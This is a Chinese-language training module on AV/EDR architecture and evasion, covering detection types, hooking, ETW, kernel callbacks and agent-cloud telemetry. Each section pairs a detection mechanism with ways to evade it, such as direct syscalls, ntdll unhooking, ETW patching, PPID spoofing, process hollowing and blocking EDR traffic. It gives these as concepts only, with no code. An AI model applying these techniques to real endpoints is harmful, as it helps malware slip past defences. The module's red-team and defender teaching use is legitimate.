AV/EDR规避实用技术

模块 1 – AV/EDR 架构

1.1 - 检测类型:签名检测、启发式检测、行为检测和机器学习

现代的AV(防病毒)和EDR(端点检测与响应)系统采用多种检测方法来识别和阻止恶意活动。理解这些检测类型对于制定有效的规避策略至关重要。


1.1.1 签名检测

定义:
签名检测依赖于已知的恶意代码模式——如二进制字符串、哈希值或特定的指令序列——来识别威胁。

工作原理:

  • AV引擎维护着大量的病毒签名数据库。

  • 对传入的文件进行扫描,并与这些签名进行比对。

  • 如果找到匹配项,文件会被标记为恶意文件。

示例:

  • 已知的Meterpreter有效载荷的SHA-256哈希。

  • Cobalt Strike beacon阶段的字节模式。

局限性:

  • 容易通过以下方式绕过:

    • 对代码进行小幅修改(变形)。

    • 混淆、加密或打包。

    • 对有效载荷进行编码(如Base64、XOR)。

  • 无法检测新型或零日恶意软件。

规避技术:

  • Shellcode重新编码或加密。

  • 使用“Stub”封装生成新的哈希值。

  • 使用打包工具或加密工具。


1.1.2 启发式检测

定义:
启发式检测通过对代码进行静态和动态的规则检查,寻找可疑的特征或行为。

工作原理:

  • 使用预定义的规则或类似YARA的模式检查。

  • 寻找可疑的构造:

    • API调用(如VirtualAllocEx、WriteProcessMemory)。

    • 异常的节名或权限(如.text标记为RWX)。

    • 高熵值,表明可能是加密或打包的文件。

示例:

  • PE文件中的.text节很小,而.data节很大。

  • 使用IsDebuggerPresent() API。

  • 非标准文件头或修改过的PE元数据。

局限性:

  • 可能导致误报。

  • 可以通过随机化结构、重命名节或使用合法Windows API的控制方式来绕过。

规避技术:

  • 填充有效载荷以降低熵值。

  • 混淆API调用或延迟加载。

  • 将恶意逻辑分拆成多个阶段。


1.1.3 行为检测

定义:
行为检测通过监控进程的运行时行为,并将其与已知的恶意行为模式进行关联。

工作原理:

  • 在实时或近实时模式下运行。

  • 跟踪系统调用、API链、内存操作、进程创建、文件和注册表更改。

可疑行为示例:

  • CreateProcess → 注入Shellcode → CreateRemoteThread。

  • 从MS Office或浏览器中生成的子进程。

  • 修改自启动注册表键或计划任务。

优点:

  • 根据行为而非代码检测零日恶意软件。

  • 难以通过模仿合法进程行为来规避。

规避技术:

  • 睡眠/延迟战术(例如:Sleep(10000))。

  • 父进程伪装(PPID伪装)。

  • 分阶段投递有效载荷,保持内存占用最小。

  • 在API调用序列中插入良性假象。


1.1.4 基于机器学习(ML)的检测

定义:
机器学习检测通过对大量良性和恶意行为数据集进行模型训练,来识别异常或类似恶意软件的行为模式。

工作原理:

  • 使用有监督、无监督或深度学习模型。

  • 输入数据可能包括:

    • API调用序列模式。

    • 熵值。

    • 文件元数据和PE头特征。

    • 内存结构快照。

示例:

  • 模型检测到新编译的EXE中的异常系统调用模式。

  • 标记一个具有高熵.text节和可疑导入的可执行文件。

挑战:

  • 黑盒特性使其难以理解或进行测试。

  • 高计算成本和易受到对抗性机器学习攻击的影响。

规避技术:

  • 对抗性输入构造:插入无害噪声(垃圾API调用、假字符串)。

  • 使用已知的良性行为(如模仿explorer.exe的行为)。

  • 模拟良性软件的熵值和结构。


总结表:

检测类型 方法 优势 弱点
签名检测 哈希/模式匹配 对已知威胁快速且可靠 无法检测未知或混淆的威胁
启发式检测 基于规则 能够发现可疑的代码特征 可能产生误报
行为检测 运行时监控 根据行为检测零日威胁,难以规避 可通过时序技巧绕过
机器学习(ML)检测 模式预测 自适应且具有前瞻性 容易受到对抗性输入的欺骗

1.2 - EDR的核心组件:传感器、驱动程序、用户空间、后台和云

端点检测与响应(EDR)平台是由多个相互依赖的层级构成的复杂系统。每一层在潜在威胁的检测、记录、分析和响应中都扮演着关键角色。理解这些组件对于识别规避检测的方式至关重要。


1.2.1 传感器

定义:
传感器是安装在端点上的轻量级软件组件,负责实时收集遥测数据并监控行为。

职责:

  • 钩取API调用和系统函数。

  • 捕捉进程创建、文件访问、注册表更改、内存注入等活动。

  • 收集日志并将数据发送到后台/云端。

特点:

  • 可在用户模式和内核模式下运行。

  • 通常具有隐蔽性和抗篡改性。

  • 通常是攻击者接触的第一个接触点。

规避考虑:

  • 针对DLL卸载和API重定向进行攻击。

  • 使用系统调用级别的规避技术绕过传感器逻辑。


1.2.2 内核驱动程序

定义:
驱动程序在Ring 0级别操作,提供与操作系统内核的深度集成,以监控低级操作。

职责:

  • 拦截系统调用、IRP(I/O请求包)和内核回调。

  • 监控进程/线程创建、内存映射和设备访问。

  • 实施进程保护(防止篡改EDR进程)。

典型功能:

  • ETW(Windows事件跟踪)集成。

  • 文件系统迷你过滤器。

  • 通过CmRegisterCallbackEx注册的注册表回调。

规避考虑:

  • 难以直接绕过,除非利用漏洞。

  • 可以通过直接系统调用或未记录的NT函数绕过。

  • 有时使用rootkit或签名的易受攻击驱动程序进行驱动级规避。


1.2.3 用户空间组件

定义:
这些组件在用户模式下运行,直接与操作系统API和应用程序交互。

职责:

  • 钩取WinAPI函数(例如通过IAT、内联钩子、Detours)。

  • 监控常见API调用(例如CreateRemoteThreadVirtualAllocEx)。

  • 收集元数据和用户活动信息。

使用的工具:

  • DLL注入(注入到explorer.exe或浏览器进程中)。

  • 沙箱或内存分析。

规避考虑:

  • 使用未钩取的ntdll.dll副本或直接进行系统调用。

  • 使用时序攻击延迟执行,避免被分析窗口捕获。

  • 使用良性父进程名称进行进程空洞化(Process Hollowing)。


1.2.4 后台(本地或混合模式)

定义:
后台是接收并处理来自所有端点遥测数据的基础设施。

职责:

  • 聚合来自端点的日志和事件。

  • 应用关联规则和威胁检测逻辑。

  • 提供警报和取证分析功能。

常用技术:

  • SIEM(例如Splunk、ELK)。

  • XDR平台。

  • 基于图的关联引擎。

规避考虑:

  • 在多个主机之间混合行为,避免模式匹配。

  • 避免生成高保真度的指示器(例如已知的C2域)。

  • 加密或编码通信以隐藏有效载荷的意图。


1.2.5 云组件

定义:
现代EDR解决方案使用云基础设施进行集中智能分析、分析和更新。

职责:

  • 卸载繁重的处理任务(例如机器学习分析、沙箱分析)。

  • 分发更新的签名、行为规则和威胁情报。

  • 提供仪表盘和远程管理功能。

优点:

  • 可扩展性和全球可见性。

  • 实时更新和自动响应。

规避考虑:

  • 为了避免云端警报,必须在端点级别保持隐蔽性。

  • 云端仍然可以通过元数据而非有效载荷内容检测异常。

  • 通过具有环境感知能力的恶意软件可以避免云沙箱分析。


EDR数据流概览:

图 1 - 数据流概览


EDR 组件及其角色概述

组件 层级 角色 绕过重点领域
传感器 终端 捕获 API/系统事件 系统调用使用、API 隐藏、DLL 卸钩
内核驱动 内核 拦截系统调用,保护进程 直接系统调用、Rootkit 技术
用户空间 应用程序 监控 API 和用户行为 NTDLL 补丁、延迟执行
后端 服务器端 分析遥测,生成警报 减少指标、编码流量
外部 机器学习、沙箱、威胁情报 环境检测、定时延迟

1.3 - 实时检测与事后检测

理解 EDR(端点检测与响应)有效性的一个基础概念是区分 实时检测事后检测。这种分类定义了 威胁 是在 执行过程中(实时)还是在恶意活动已经发生之后(事后)被识别。对于绕过技术来说,了解这一区别使攻击者和防御者可以根据需要调整或伪装操作的时机。


1.3.1 什么是实时检测?

定义:
实时检测指的是安全系统在 事件发生时 检测并可能 阻止或隔离 恶意活动的能力。

关键特征:

  • 即时事件处理(毫秒级别)。

  • 侧重于 预防主动防御

  • 基于 API 钩子、行为签名、启发式分析和内核回调。

  • 通常与操作系统机制紧密集成,如 ETW(Windows 事件追踪)、内核过滤器或用户空间 API 拦截。

实时触发示例:

  • 调用 CreateRemoteThreadNtWriteVirtualMemory

  • 标记为 RWX(可读、可写、可执行)的内存段。

  • DLL 侧加载或镜像篡改。

  • 从可疑目录(例如临时文件夹)执行不受信任的文件。

对攻击者的影响:

  • 绕过行为必须发生 检测触发之前。

  • 可以利用 延迟执行进程注入后睡眠系统调用滥用 来帮助绕过。

  • 目标是 完全避免触发钩子或传感器


1.3.2 什么是事后检测?

定义:
事后检测指的是在恶意活动 执行后 分析 收集到的遥测数据 并识别可疑或恶意行为。

关键特征:

  • 依赖于存储的日志、元数据或行为关联。

  • 侧重于 取证调查威胁狩猎响应

  • 通常在 EDR 的后端、SIEM 系统或云端分析中实现。

事后指示符示例:

  • 异常的进程树(例如,Word 启动 PowerShell)。

  • 可疑的注册表键更改或持久性伪造。

  • 稀有或高熵的网络连接。

  • 事后检测到已知恶意软件的哈希值。

对攻击者的影响:

  • 目标是 最小化遗留的痕迹

  • 使用 生活在土地上 技术(LOLbins)和 无文件执行 帮助避免事后模式。

  • 元数据最小化 是关键:避免显眼。


1.3.3 技术对比表

特征 实时检测 事后检测
时间 执行期间 执行后
主要目标 预防/阻止 检测/调查
使用方法 API 钩子、ETW、回调、内核过滤器 日志分析、启发式分析、异常检测
常见技术 传感器驱动程序、ETW 消费者、API 拦截 SIEM、云关联器、威胁情报数据库
响应时间 毫秒 分钟到小时(或人工)
示例 阻止恶意 DLL 注入 执行后检测到编码 PowerShell
攻击者绕过策略 系统调用模糊化、跳过睡眠阶段、分阶段执行 清理、LOLbins、低调行为

1.3.4 检测工作流示例

实时检测示例流程:

  1. 攻击者使用 VirtualAllocEx + WriteProcessMemory + CreateRemoteThread

  2. 传感器钩住的 API 调用触发。

  3. EDR 标记该操作并在有效负载执行前阻止线程。

事后检测示例流程:

  1. 负载通过 rundll32 执行并调用自定义脚本。

  2. 执行在运行时看起来合法。

  3. 5 分钟后,云端分析检测到不寻常的命令行行为。

  4. 警报触发,但执行已经发生。


1.3.5 混合检测系统(混合模型)

大多数现代 EDR 结合了实时和事后检测能力,以提供分层防御。

  • 实时检测用于 预防已知技术

  • 事后检测用于 检测新颖或模糊的行为

安全厂商使用:

  • 云端机器学习模型进行延迟异常检测。

  • 跨用户/机器的关联进行模式识别。

  • 时间线重建和行为归因。


1.3.6 绕过影响

为了绕过两种检测策略:

针对实时检测:

  • 避免已知的 API 调用序列。

  • 使用直接系统调用(syswhispershellsgate)。

  • 使用睡眠/休眠阶段延迟有效负载。

针对事后检测:

  • 避免创建永久性痕迹(文件、注册表、服务)。

  • 执行后清理(注册表键、临时文件)。

  • 使用本地 Windows 二进制文件(LOLBAS)。


总结

了解检测的时机和范围对于设计有效的绕过技术至关重要。实时检测侧重于 在威胁完成之前阻止,而事后检测依赖于 分析留下的痕迹。掌握这种区别可以使红队员量身定制有效负载行为以保持隐蔽,并帮助蓝队员识别检测漏洞。

1.4 - API 和系统调用监控

理解端点安全解决方案如何监控 API 调用和系统调用对于有效的绕过至关重要。本节将探讨 AV 和 EDR 如何观察、拦截和分析应用程序与操作系统之间的交互,重点介绍 用户模式内核模式 监控策略。


1.4.1 什么是 API 调用和系统调用?

  • API 调用:由系统库(例如 kernel32.dlladvapi32.dllws2_32.dll)提供的高级功能,应用程序使用这些功能执行文件操作、进程创建或网络通信等操作。

  • 系统调用(Syscalls):调用 Windows 内核的低级接口,由用户模式函数调用以请求内核服务(例如 NtCreateFileNtOpenProcess)。

示例kernel32.dll 中的 CreateProcessA() 最终通过系统调用调用 NtCreateUserProcess()


1.4.2 为什么要监控 API 和系统调用?

安全工具监控这些调用是为了:

  • 检测恶意行为,如进程注入、权限提升或未经授权的访问。

  • 追踪应用程序的执行流程,进行行为分析。

  • 执行策略(例如,阻止 PowerShell 从 Office 宏启动)。

  • 构建取证轨迹,通过记录参数、返回代码和调用进程的元数据。


1.4.3 EDR 中的监控方法

监控方法 描述 可见性级别 常见用途
API 钩子(用户模式) 通过跳板补丁或 IAT 重定向调用到 API 函数。 用户模式 EDR 传感器、AV
内联钩子 重写函数的开头(前导)以跳转到自定义例程。 用户模式或内核 AV、注入器
导入地址表(IAT) 修改 PE 文件的 IAT 中的函数地址。 用户模式 AV、恶意软件
ETW(Windows 事件追踪) 使用内核工具回调来跟踪系统调用和事件。 内核 + 用户模式 EDR、Sysmon
内核回调 使用内核模式回调跟踪进程、线程、镜像加载、注册表操作等。 内核模式 EDR、驱动程序
系统调用钩子 在 SSDT(系统服务分发表)拦截系统调用。 内核模式 稀有(需要驱动)
用户模式 API 日志记录 记录对高级 API 的所有调用(例如,通过 Detours、MinHook)。 用户模式 EDR 遥测

1.4.4 监控的实际示例

  • 进程注入监控

    • VirtualAllocExWriteProcessMemoryCreateRemoteThread 被标记。

    • EDR 记录完整的注入链和参数(目标 PID、缓冲区、大小)。

  • 无文件执行监控

    • EDR 检测到 PowerShell 通过 -enc 标志调用编码的命令。

    • API 调用模式 + 命令行参数 = 检测逻辑。

  • 网络活动

    • 监控 WSAConnectconnectHttpSendRequest 调用。

    • EDR 可能拦截参数以查看目标 IP/域名。


1.4.5 绕过影响

要绕过 API/系统调用监控:

用户模式绕过策略

  • 手动映射:手动加载 DLL,避免 LoadLibrary() 和 IAT 日志记录。

  • 直接系统调用:使用 SysWhispersHell’s Gate 等工具直接调用系统调用。

  • 间接系统调用:使用小工具或存根函数来混淆调用栈。

内核级绕过(高级)

  • 系统调用覆盖:覆盖系统调用指令,将其重定向到备用系统调用。

  • ETW 绕过:修补或禁用 ETW 消费者,如 EtwEventWrite

  • 回调移除:注销内核回调(需要内核模式驱动)。


1.4.6 检测与混淆博弈

安全工具和攻击者之间不断进行着猫鼠游戏:

安全技术 绕过对策
API 钩子(kernel32.dll) 直接系统调用到 ntdll.dll
ETW 日志记录 ETW 修补或禁用
注册表更改监控 延迟或间接修改
镜像加载回调 手动 PE 加载/注入

1.4.7 实际场景

场景:恶意软件通过进程空洞技术执行:

  1. 创建一个暂停的进程。

  2. 解除目标镜像的映射。

  3. 写入 shellcode。

  4. 恢复线程。

监控的 API 调用

  • CreateProcessNtUnmapViewOfSectionWriteProcessMemoryResumeThread

EDR 响应

  • 标记异常的调用序列 + 内存权限。

  • 实时警报或事后关联触发。

绕过策略

  • 使用 系统调用级注入,避免已知的 API 调用,使用 延迟和混淆

总结

理解 API 和系统调用监控对于设计隐蔽的有效负载至关重要。大多数 EDR 依赖于 用户模式钩子和 ETW 追踪 来构建遥测,但攻击者可以通过 直接系统调用、手动映射和 ETW 篡改 等技术绕过这些监控。掌握这一领域对于有效的 EDR 绕过至关重要。

1.5 - 用户模式与内核模式钩子

钩子技术是 AV 和 EDR 用于监控和控制程序执行的基本技术之一。钩子指的是拦截或重定向函数调用或系统事件。根据实现的层级,钩子有两种主要形式:用户模式钩子(Userland Hooking)内核模式钩子(Kernelland Hooking)

理解这两者的区别,以及它们如何被安全解决方案利用,或者被攻击者滥用或绕过,对于掌握 AV/EDR 绕过技术至关重要。


1.5.1 Windows 执行架构概述

在深入探讨钩子技术之前,了解 Windows 的分层架构非常关键:

  • 用户模式:标准应用程序运行的地方,访问系统资源的权限有限。

  • 内核模式:操作系统的核心(Windows 内核)和设备驱动程序,具有无限制的访问权限。

钩子可以根据目标(观察、执行、阻止或重定向)发生在任意一个层级。


1.5.2 用户模式钩子

定义:

用户模式钩子拦截应用程序对高层 API(如 CreateProcessVirtualAllocReadFile 等)的调用,这些 API 通常位于像 kernel32.dlluser32.dll 等 DLL 中。

技术:

  • 内联钩子(Inline Hooking):覆盖函数的前导(前几个字节),将执行重定向到监控或恶意函数。

  • 导入地址表(IAT)钩子:修改模块的 IAT 中的函数指针,重定向到不同的实现。

  • 重定向库(Detour Libraries):使用 Microsoft Detours 或类似库来包装或替换函数。

优势(从 AV/EDR 角度):

  • 部署更简单(不需要内核驱动)。

  • 不需要管理员权限。

  • 快速更新,特别是在云连接的 EDR 中。

限制:

  • 容易通过 直接系统调用 绕过。

  • 易受到 卸载钩子 的攻击,即通过覆盖修补过的函数。

  • 对被空洞化或暂停的子进程可能 不可见


1.5.3 内核模式钩子

定义:

内核模式钩子通过使用驱动程序在内核层面监控或修改行为,通常是通过内核模式回调或修改系统结构(如 SSDT,系统服务调度表)来实现。

技术:

  • SSDT 钩子:通过修改 SSDT 来拦截系统调用,指向自定义处理程序。

  • 回调注册:使用合法的内核 API 注册回调:

    • PsSetCreateProcessNotifyRoutine

    • PsSetLoadImageNotifyRoutine

    • CmRegisterCallback

  • 对象回调:通过 ObRegisterCallbacks 拦截对象操作。

优势:

  • 无法通过简单的用户模式技术绕过。

  • 更深入地了解进程/线程/镜像/注册表活动。

  • 可以检测到 异常的内核行为隐匿的 rootkit

限制:

  • 需要签名的内核驱动。

  • 部署和维护更为复杂。

  • 容易受到高级内核模式 rootkit 和驱动程序漏洞的攻击。


1.5.4 比较表

特征 用户模式钩子 内核模式钩子
操作层级 用户模式 内核模式
目标 DLL 中的 API 调用 系统调用、内核事件
示例 CreateProcessVirtualAllocWriteFile NtCreateProcessNtMapViewOfSection
绕过方法 直接系统调用、卸载钩子 Rootkit、驱动漏洞、签名驱动
检测覆盖范围 限于用户模式活动 完整的操作系统级别可见性
部署复杂度 简单(不需要管理员权限) 需要驱动和签名
使用者 AV、EDR、注入器 EDR、Rootkit、内核模式恶意软件

1.5.5 钩子与绕过的实际场景

  • AV/EDR 用例:EDR 代理会钩住关键函数,如 NtOpenProcess,以检测与受保护进程(如 lsass.exe)的交互尝试。

  • 攻击者对策

    • 使用 直接系统调用存根 绕过用户模式钩子。

    • 修补用户模式函数,将其恢复到原始字节(从干净的 ntdll.dll 恢复系统调用存根)。

    • 避免使用标记的 API;使用 手动映射无线程注入早期注入 技术。


1.5.6 检测与反检测

  • 钩子指示符

    • 修改了函数的前导(例如,JMP 指令)。

    • 内存中的可疑 DLL(例如,未知的 EDR 钩子)。

    • ntdll.dll 在内存和磁盘中的加载差异。

  • 检测工具

    • PE-sieveHookFinderHollowsHunterDetect-It-Easy
  • 卸载钩子策略

    • 手动修补:将干净的系统调用指令复制到内存中。

    • **重新映射 ntdll.dll**:手动加载新的副本。

    • 使用 SysWhispers/Hell’s Gate:完全避免用户模式。


总结

钩子是一种强大但脆弱的安全执行技术。用户模式钩子速度更快且易于部署,但更容易被绕过,而内核模式钩子提供更深的洞察力,但部署更困难且易于被攻击。绕过技术的实践者必须学会如何检测并规避这两种钩子技术,以有效绕过 AV/EDR 防护。

1.6 - 执行流程监控(ETW、系统调用、回调)

现代 EDR 系统严重依赖于深度系统监控技术,这些技术使得它们能够追踪从 API 调用到系统调用、内存使用、线程活动以及模块加载的 完整执行流程。这种可见性支持 实时检测取证分析。理解这些机制对于防御者和攻击者都至关重要。


1.6.1 什么是执行流程监控?

执行流程监控指的是在程序执行过程中跟踪函数调用和事件的顺序及行为。这包括:

  • 高级 API 使用(CreateProcessWriteFile 等)

  • 低级系统调用(NtCreateProcessNtWriteVirtualMemory 等)

  • 内存和线程操作

  • 模块加载、镜像映射

  • 注册表和文件访问

  • 对象句柄和回调

这些数据通过不同方式捕获,包括:

  • ETW(Windows 事件追踪)

  • 系统调用(直接和间接追踪)

  • 内核回调和通知


1.6.2 Windows 事件追踪(ETW)

概述:

ETW 是一个高性能的追踪系统,内置于 Windows 中,允许实时收集系统和应用程序事件。

EDR 中的使用:

EDR 和其他基于遥测的工具订阅各种 ETW 提供者,以便获得详细的遥测数据,而不干扰进程执行。

关键提供者:

  • Sysmon(基于事件 ID 的追踪)

  • Microsoft-Windows-Threat-Intelligence

  • Microsoft-Windows-Kernel-Process

  • Microsoft-Windows-Kernel-Image

常见追踪事件:

  • 进程创建和终止

  • 线程启动/停止

  • DLL 加载/卸载

  • 注册表修改

  • 网络连接

优势:

  • 非侵入性(无需钩子或内联修补)

  • 更难被用户模式检测或阻止

  • 高度可扩展且可定制

绕过技术:

  • 阻止 ETW 函数 (EtwEventWriteEtwNotificationRegister)

  • 在用户模式中覆盖 ETW 注册

  • 使用未监控的系统调用

  • 通过原生 API 或篡改删除 ETW 提供者


1.6.3 系统调用监控

定义:

系统调用监控指的是观察从用户模式到内核模式的直接过渡,使用如 syscallint 0x2esysenter 等指令。

监控的系统调用:

  • NtOpenProcessNtReadVirtualMemory

  • NtCreateThreadExNtWriteVirtualMemory

  • NtMapViewOfSectionNtUnmapViewOfSection

监控方法:

  • 钩住系统调用调度表(SSDT)

  • 通过内核驱动记录系统调用参数

  • 将原始系统调用号映射到有意义的函数

  • 使用虚拟机监控器(Hypervisor)获得完全可见性

绕过策略:

  • 自定义系统调用存根(SysWhispers、Hell’s Gate)

  • 系统调用使用的混淆

  • 间接系统调用链(通过内存小工具)


1.6.4 内核回调

定义:

内核模式回调通过内核 API 注册,用于观察系统级事件。

EDR 使用的常见回调:

  • PsSetCreateProcessNotifyRoutine:进程创建

  • PsSetLoadImageNotifyRoutine:镜像加载追踪

  • ObRegisterCallbacks:句柄/对象访问(例如,打开 lsass

  • CmRegisterCallbackEx:注册表访问

EDR 如何使用回调:

这些回调允许在系统完成请求操作之前进行实时检测和访问控制。

绕过和规避技术:

  • 进程幽灵化/空洞化以避免检测

  • 句柄复制绕过 ObRegisterCallbacks

  • 篡改内核对象

  • 驱动程序级别的回调表操作(需要内核访问)


1.6.5 实际案例

攻击者使用 NtWriteVirtualMemory 向远程进程注入 shellcode。

  • ETW 记录了注入活动。

  • 系统调用 被 EDR 的内核传感器标记。

  • ObRegisterCallbacks 检测到尝试打开受保护句柄的行为。

  • EDR 代理基于这些事件的关联报告可疑行为。

为绕过:

  • 攻击者使用 直接系统调用存根 并加入随机熵。

  • 避免已知的 ETW 监控模式。

  • 假冒父进程 ID(PPID),创建暂停的进程以避开回调。


1.6.6 绕过总结表

监控机制 AV/EDR 使用 常见追踪内容 绕过技术
ETW 所有主要 EDR 进程、注册表、镜像 修补 EtwEventWrite 或注销
系统调用追踪 高级 EDR、沙箱 低级 API 行为 直接系统调用、系统调用欺骗
内核回调 内核模式传感器 进程/镜像/注册表 幽灵化、混淆、篡改

1.6.7 研究与检测工具

  • ETW 监控LogmanxperfETWExplorerSilkETW

  • 系统调用分析SysmonProcmonstraceSyscall2name

  • 回调检测WindbgPE-sieveEDRSandblastKProcessHacker


总结

执行流程监控构成了现代 EDR 解决方案的 核心监控机制。ETW 提供可见性,系统调用追踪增加深度,而内核回调则提供控制。绕过或破坏这条监控链是隐匿型恶意软件和红队操作的核心技术。

1.7 - 代理与云之间的数据通信(代理 ↔ 云)

现代 EDR 平台采用分布式架构,安装在终端的轻量级代理与通常托管在云端的中央后端进行通信。理解这种通信机制对于攻击者(可能想要阻止、延迟或伪造数据)和防御者(依赖这些遥测数据进行威胁检测和事件响应)都至关重要。


1.7.1 代理-云架构

代理的职责:

  • 收集遥测数据(进程、文件、注册表、网络、内存)

  • 应用本地检测逻辑(签名、启发式、指标)

  • 通过 ETW、回调和钩子监视系统行为

  • 执行策略决策(阻止执行、隔离文件)

  • 将数据发送到云端以便进行关联和机器学习分析

云端的职责:

  • 汇总来自成千上万/百万个代理的数据

  • 跨端点关联事件

  • 运行行为模型、图分析和机器学习分类

  • 触发警报和行动(例如,隔离主机、创建工单)

  • 存储日志以便于取证和合规性


1.7.2 通信协议和数据类型

使用的协议:

  • HTTPS(TLS 加密) – 用于安全遥测传输的标准

  • MQTT、WebSocket – 用于轻量级实时通信

  • 专有的二进制协议(压缩和序列化)

传输的数据类型:

  • 进程创建日志

  • DLL 加载和镜像哈希

  • 注册表修改条目

  • 文件操作(创建、读取、写入、删除)

  • 网络连接和 DNS 请求

  • 内存区域分配和注入

  • 警报或策略违规报告


1.7.3 数据传输行为

属性 描述
实时流式传输 高优先级事件立即发送(例如,恶意软件检测)
批量上传 低优先级数据缓存并定期发送
离线缓存 如果离线,数据会本地存储,重新连接后发送
心跳消息 定期检查代理的健康状况/状态

EDR 示例(例如,CrowdStrike Falcon):

  • 代理保持持久的 TLS 连接

  • 每隔几秒发送一次遥测

  • 离线时采用指数回退策略

  • 可能从云端接收命令(例如,扫描或隔离)


1.7.4 基于云数据的检测与防范

云端后端通常是 检测关联 发生的地方:

  • 关联 跨端点的事件(例如,相同的文件哈希在多个机器上出现)

  • 检测 协同攻击、横向移动、特权提升

  • 触发 隔离操作(例如,杀死进程、阻止 IP、隔离主机)

  • 提供 分析给 SIEM/XDR 平台

这种架构使得即使本地代理被绕过,只要部分遥测数据到达云端,仍然可以进行检测。


1.7.5 绕过机会与局限性

潜在绕过技术:

  • 阻止与云端 IP/域的出站流量

  • 检测并终止 EDR 代理进程或服务

  • DNS 欺骗或 TLS 拦截(如果没有证书固定,则较难)

  • 伪造数据并自定义代理模仿(高级)

  • 通过过载或洪水遥测通道来隐藏恶意活动

  • 完全在内存中操作,以避免文件系统和注册表 I/O

绕过的局限性:

  • 一些 EDR 在 内核模式 下运行,更难通过没有驱动程序的方式禁用

  • 代理通常有 自我防御机制

  • 云端关联能够通过模式检测 “低噪音” 的威胁

  • 一些代理在本地执行 零信任策略(在发送数据前就会阻止)


1.7.6 红队考虑事项

  • 了解 EDR 使用的 域/IP(例如,通过 Wireshark 或 netstat

  • 测试 阻止通信 是否会影响检测

  • 评估 延迟遥测提交 与实时事件的差异

  • 监视代理日志 %ProgramData%C:\Program Files\(某些代理可能留下明确的痕迹)

  • 使用 支持代理的植入,使其能够与企业流量融合


1.7.7 实际案例

攻击者使用 Reflective DLL Injection 向 Cobalt Strike beacon 注入 shellcode。就本地 EDR 代理而言,可能不会立即标记此操作。然而:

  • DLL 哈希 在多个主机上出现。

  • 父进程树 不一致。

  • 命令与控制 IP 已在 VirusTotal 上报告。

随着代理将日志发送到云端,EDR 后端将关联这些模式,并在所有受影响的主机上触发警报——即使初次执行绕过了本地启发式检测。


总结

EDR 代理-云之间的通信是 检测链中的关键环节,使得大规模的关联和响应成为可能。尽管攻击者可能会尝试阻止或伪造这些通信,但要做到不引起防御者警觉,需要 隐蔽性精准性,以及对底层遥测架构的深入理解。

1.8 - 常见的 AV/EDR 检测向量:遥测、日志、缓冲区和系统调用跟踪

现代 EDR 和病毒防护引擎依赖多种 观察向量 来检测恶意行为。这些向量不仅限于简单的文件扫描,还包括对进程行为、内存活动、系统调用和遥测数据的动态监控。了解这些向量对于设计有效的绕过技术至关重要。


1.8.1 遥测收集

遥测 指的是从终端持续收集的行为数据流,包括:

  • 进程创建与终止(CreateProcessNtCreateProcessEx

  • 模块加载(LoadLibraryLdrLoadDll

  • 文件访问与修改

  • 注册表读取/写入操作

  • 网络活动(出站/入站连接)

  • 父子进程关系(进程树谱系)

遥测数据提供 上下文感知,使得 EDR 能够检测事件链(例如,MS Office → PowerShell → 网络连接)。

绕过技巧: 在预期的父子进程链中操作,通过挂起进程延迟遥测,或注入到良性进程(例如,explorer.exesvchost.exe)中。


1.8.2 日志监控与审计日志

EDR 常常利用 Windows 本地 审计日志事件追踪日志,例如:

  • 事件查看器日志(例如,进程创建的事件 ID 4688,文件共享访问的事件 ID 5140)

  • Sysmon 日志(如果已部署),用于:

    • 文件创建(事件 ID 11)

    • 注册表修改(事件 ID 13)

    • 镜像加载(事件 ID 7)

    • 网络连接(事件 ID 3)

这些日志通常会本地存储,并传输到集中式 SIEM 或 XDR 平台。

绕过技巧: 禁用或篡改 Sysmon(有风险),或者完全在内存中操作以避免生成日志事件。


1.8.3 缓冲区分析与内存监控

现代 EDR 会进行 内存内省 来检测:

  • 注入的 shellcode 或反射式 DLL

  • 来自非镜像区的代码执行(例如,RWX 内存)

  • 不寻常的内存权限(例如,PAGE_EXECUTE_READWRITE)

  • 压缩或加密负载的熵分析

它们通过周期性 缓冲区扫描 运行进程,检查内存中的异常,如 PE 头信息、通过哈希解析的 API 或大的堆内存分配。

绕过技巧: 使用内存加密(仅在执行时解密),将负载存储在看似无害的缓冲区中(例如,图像数据),或通过良性 DLL 执行跳板技术。


1.8.4 系统调用跟踪与 API 使用

最关键的检测向量之一是 系统调用(syscall)跟踪

  • ntdll.dll 中的钩子拦截调用,如 NtAllocateVirtualMemoryNtWriteVirtualMemoryNtCreateThreadEx

  • 用户空间 EDR 组件跟踪调用堆栈、参数和调用来源

  • 一些高级解决方案监控 内核模式下的 syscalls 或通过 ETW 进行跟踪

EDR 可能会跟踪 syscall 的顺序与频率,不寻常的调用链可能会表明利用或注入行为。

绕过技巧:

  • 使用 直接系统调用(绕过 API 存根)

  • 使用 间接系统调用存根(如 SysWhispers,Hell’s Gate)

  • 随机化调用顺序或插入无害调用以混入正常流量


1.8.5 行为图与模式识别

现代 EDR 会基于遥测数据和系统调用跟踪构建 行为图

  • 每个进程和事件为一个节点

  • 关系(例如,注入、文件写入、DNS 解析)构成边

  • 图谱会被用来分析已知攻击模式(例如,LOLBAS 滥用、信标行为)

示例:
攻击者滥用 MSBuild.exe 执行 shellcode。EDR 会根据行为图:

  • 追踪 MSBuild 的父进程(例如,Outlook)

  • 文件操作

  • 向可疑域发送 DNS 请求

  • 内存写入与线程创建

即使 shellcode 本身没有已知的签名,模式 本身也可能触发警报。

绕过技巧: 打破预期的图谱模式(例如,将操作分散到多个进程),或保持低调(例如,休眠信标、分阶段加载负载)。


1.8.6 实时与延迟分析

检测可能是即时的(实时监控)或延后的(后处理):

  • 实时分析: 用户空间钩子、ETW 消费者、进程注入警报

  • 延迟分析: 内存快照、云端关联、后端的机器学习分析

这意味着隐蔽负载可能在 被捕获之前 执行——但防御者仍然能够通过取证数据获取信息。

红队启示: 永远不要认为成功意味着未被检测到。事后分析可能揭示所有细节。


1.8.7 实际检测向量表

向量 监控方式 用途
系统调用 用户空间钩子、ETW、内核 进程注入、漏洞利用
内存缓冲区 代理扫描、内核驱动 Shellcode、反射 DLL
文件访问 Sysmon、ETW、文件系统钩子 Droppers、Stagers
网络 代理、ETW、NDIS 过滤器 C2 检测、DNS 隧道
注册表 注册表过滤驱动 持久性、负载加载
进程树 内核 + 代理 LOLBAS、异常行为
熵/签名 静态扫描器 打包文件、混淆

总结

EDR 不仅依赖于 单一的检测向量,而是将多个来源的检测信息结合起来——遥测、日志、内存、系统调用图谱,以构建活动的全面图像。绕过这些检测需要 多层次的混淆、深入了解 Windows 内部结构,并不断适应 行为分析引擎

1.9 - 传统杀毒软件的局限性

